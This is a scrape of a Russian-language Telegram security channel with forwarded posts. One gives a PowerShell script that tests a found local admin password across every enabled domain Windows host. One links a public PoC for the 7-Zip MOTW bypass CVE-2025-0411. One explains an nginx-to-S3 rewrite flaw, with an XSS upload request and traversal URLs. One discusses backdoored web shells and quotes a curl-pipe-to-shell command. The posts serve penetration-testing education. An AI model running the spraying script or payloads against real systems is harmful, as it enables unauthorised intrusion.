Fsecurity | HH
2.01K subscribers
1.77K photos
108 videos
64 files
6.43K links
Канал про ИБ
Наш Discord: https://discord.gg/Eg8aDS7Hn7
Пожертвовать:
> https://www.donationalerts.com/r/xackapb
Download Telegram
Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from CyberSecrets
Проверка локальных учетных записей
Представим себе ситуацию, когда во время выполнения проекта мы обнаружили пароль от локального администратора, например, в групповых политиках, или от другой локальной учетной записи. Нам необходимо проверить на каких хостах эта учетная запись есть и валидна. Если под рукой есть «nxc», то проблем нет, а если нет? Можно воспользоваться PowerShell и написать небольшой скрипт для проверки локальной учетной записи.

Скрипт будет запрашивать в домене все активные хосты с операционной системой Windows и выполнять проверку локальной учетной записи. Метод, используемый в данном скрипте для новых версий Windows, основан на обработке ошибки, это связанно с механизмами безопасности внедренных в операционную систему. Ошибки, возникающие при правильном и неправильном пароле, разные. И на основании этого мы можем делать предположение когда пароль является верным. а когда нет.

function Check-LocalCredential{
[CmdletBinding()]
Param (
[Parameter(Mandatory)]
[string]
$UserName,

[Parameter(Mandatory)]
[string]
$Password
)

# Подключаем библиотеку для работы с учетными записями
Add-Type -AssemblyName System.DirectoryServices.AccountManagement -ErrorAction Stop

# В качестве контекста используем машину
$ContextType = [DirectoryServices.AccountManagement.ContextType]::Machine

$searcher = [adsisearcher]'(&(objectCategory=computer)(operatingsystem=*windows*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
$searcher.PageSize = 1000
$comps=$searcher.FindAll()

foreach($comp in $comps)
{
$ComputerName = $comp.Properties.dnshostname.Item(0)

try
{
$PrincipalContext = [System.DirectoryServices.AccountManagement.PrincipalContext]::new($ContextType, $ComputerName)
# Проверям учетные данные
if($PrincipalContext.ValidateCredentials($UserName,$Password))
{
Write-Host -ForegroundColor Green "[+] User $UserName has password $Password on computer $ComputerName"
}
}
catch [UnauthorizedAccessException]
{
Write-Host -ForegroundColor Yellow "[*] User $UserName has password $Password on computer $ComputerName"
continue
}
catch
{
#Write-host -ForegroundColor Red "[!] Error $_.Exception.Message "
continue
}
}
}


Запускаем

Check-LocalCredential -Username Administrator -Password Qwerty123 


Зеленый цвет вывода так же покажет, что учетная запись, от имени которой запускается скрипт, является локальным администратором на проверяемом хосте, желтый - пароль для локальной учетной записи верный.

Стоит помнить, что скрипт проверяет валидность учетных данных, но не показывает членство в группе локальных администраторов.


#Powershell #Внутрянка
🔥2
Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from GISCYBERTEAM
⚠️ Уязвимость 7-Zip, позволяющая обойти механизм защиты Windows

22 января был опубликован публичный Proof-of-Concept (PoC) для эксплуатации уязвимости CVE-2025-0411. Данная уязвимость позволяет обойти защитный механизм Windows, известный как Mark-of-the-Web (MOTW).
Mark-of-the-Web (MOTW) — это механизм защиты, встроенный в Windows и некоторые программы Microsoft, который помогает защитить пользователей от потенциально небезопасного контента, загружаемого из интернета. Он добавляет специальный флаг (метаданные) к файлам, загруженным из внешних источников, чтобы операционная система и приложения знали, что файл был получен из недоверенного источника.


Как работает Mark-of-the-Web?

Когда файл (например, документ, исполняемый файл или архив) загружается из интернета с помощью браузера или другой программы, Windows добавляет специальный заголовок в метаданные файла. Этот заголовок сохраняется в виде альтернативного потока данных (Alternate Data Stream), который поддерживается файловой системой NTFS.

Например, для файла, загруженного из интернета, MOTW добавляется в виде строки:
[ZoneTransfer]
ZoneId=3


Значение ZoneId определяет источник файла:
ZoneId=0: Мой компьютер (локальная зона, безопасная).
ZoneId=1: Локальная интрасеть.
ZoneId=2: Доверенные сайты.
ZoneId=3: Интернет (недоверенная зона).
ZoneId=4: Ограниченные сайты.

Ссылка на публичный PoC:
https://github.com/dhmosfunk/7-Zip-CVE-2025-0411-POC
Forwarded from BlackFan
Небольшая заметка про уязвимую конфигурацию nginx при проксировании запросов на S3, которое позволило в том году налутать немного уязвимостей на BugBounty.

Объектные хранилища, совместимые с S3 API, используют два варианта указания имени бакета в запросе.

Virtual-hosted–style
GET /object-name HTTP/1.1
Host: bucket-name.s3endpoint


Path-style
GET /bucket-name/objectname HTTP/1.1
Host: s3endpoint


При использовании path-style варианта может возникнуть довольно неочевидная проблема с конфигурацией nginx.
Рассмотрим на примере сайта, который проксирует запросы подставляя имя бакета в путь с помощью следующего rewrite правила. В примерах будет использоваться Yandex Object Storage, но информация актуальна для всех S3 хранилищ.

location / {
set $s3_name "company-bucket";
set $s3_host "storage.yandexcloud.net";

rewrite ^(.*)$ /$s3_name$1 break;

proxy_pass https://$s3_host;


В nginx rewrite применяется к нормализованному пути и если в нем присутствует символ переноса строки %0A, то данное регулярное выражение не сработает, поскольку в нем используются якоря начала и конца строки.

http://example.tld/test/test.html
=
https://storage.yandexcloud.net/company-bucket/test/test.html


http://example.tld/test/foo%0Abar
=
https://storage.yandexcloud.net/test/foo%0Abar


Что в результате приведет к возможности указать любое имя бакета в запросе. Причем декодированный символ %0A в имени объекта не помешает, так как S3 это не файловая система и такие имена разрешены.

Таким образом, если используется публичное объектное хранилище, атакующий может создать в нем свой бакет с произвольным именем и загрузить на него файл foo%0Abar с XSS. Символ %0A в имени объекта должен быть декодированным, поэтому проще всего загрузить объект на него с помощью PUT запроса.

В данном запросе подпись формируется с помощью Hackvertor тегов расширения для Burp Suite.
PUT /bucket-name/foo%0Abar HTTP/1.1
Host: storage.yandexcloud.net
Content-Type: text/html
Authorization: AWS ##ACCESS_KEY##:<@base64><@hex2ascii><@hmac_sha1('##SECRET-KEY##')><@d_burp_url>PUT%0A%0Atext/html%0A<@date("EEE, dd MMM yyyy HH:mm:ss z","GMT")/>%0A/bucket-name/foo%250Abar<@/d_burp_url><@/hmac_sha1><@/hex2ascii><@/base64>
Date: <@date("EEE, dd MMM yyyy HH:mm:ss z","GMT")/>
Content-Length: 25

<script>alert(1)</script>


Если же запрос попадает во внутреннее объектное хранилище, то атакующий может перебирать существующие в системе бакеты, часть из которых может разрешать создание объектов PUT запросом без авторизации. Что в результате также приведет к возможности проэксплуатировать XSS.


Но чаще встречается ситуация, когда проксирование запросов производится только из одной папки, например:
location /static/ {
set $s3_name "company-bucket";
set $s3_host "storage.yandexcloud.net";

rewrite ^(.*)$ /$s3_name$1 break;

proxy_pass https://$s3_host;


Но даже в данном случае конфигурация будет уязвима из-за разницы обработок переданного пути. Правило location и rewrite работают с нормализованным путем, а proxy_pass, в котором указан URI без пути, отправит ненормализованное значение.

Таким образом для эксплуатации уязвимости необходимо отправить запрос, который в нормализованном виде попадет в location /static/, но будет начинаться с бакета, который контролирует атакующий.
http://example.tld/attacker-bucket/..%2Fstatic/foo%0Abar
=
https://storage.yandexcloud.net/attacker-bucket/..%2Fstatic/foo%0Abar


Как и в прошлом примере наличие в имени объекта символов %0A и /../ не помешают эксплуатации, так как это не файловая система и такой объект можно создать PUT запросом.

Также, если вы планируете искать подобные мисконфиги блэкбоксом, то нужно учитывать, что ошибки NoSuchObject и NoSuchBucket часто заменяют на дефолтную страницу 404, что может помешать.
Обойти это можно вызывая ошибки с кодом, отличным от 404, например отправляя PUT запрос без указания Content-Length.

PUT /attacker-bucket/..%2Fstatic/foo%0Abar HTTP/1.1
Host: example.tld
Connection: close
Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from PurpleBear (Vadim Shelest)
Backdooring Your Backdoors - Another $20 Domain, More Governments

Интересный ресерч от watchTowr из серии "hackers hacking hackers". В ходе исследования были проанализированы исходники различных веб-шеллов с открытым исходным кодом и обнаружены некоторые закладки недокументированные особенности😎 Например, некоторые возможно вспомнят историю с бэкдором в веб-шелле c99shcook, который сливал логопасы разработчику. Исследователи пошли дальше и зарегали на себя просроченные домены (40+), на которые отстукивались различные веб-шеллы и начали анализировать полученные доступы данные телеметрии😎

Результаты анализа включают около 4000 взломанных веб-серверов, в том числе несколько ресурсов в доменной зоне .gov, на которые заливались различные веб-шеллы🙈

В целом ничего нового и так было всегда, но заставляет задуматься о вечном том, что мы как security профессионалы по умолчанию обязаны читать исходники любых opensource инструментов, которые используем в инфраструктуре заказчиков. Но ведь иногда бывают ситуации, когда проверенного инструмента просто нет под рукой и необходимо принести его с гитхаба из репозитория уважаемого автора offensive утилит.

Например, поставьте лайк👍 если когда-нибудь делали так:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Автор linpeas в прошлом году проводил эксперимент и просто по фану в рамках повышения осведомленности временно добавил в свой скрипт сбор телеметрии, где именно используется его инструмент, подробности и скриншоты будут в комментариях.

PS: Желаю всем удачного завершения рабочей недели и хороших выходных!
Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈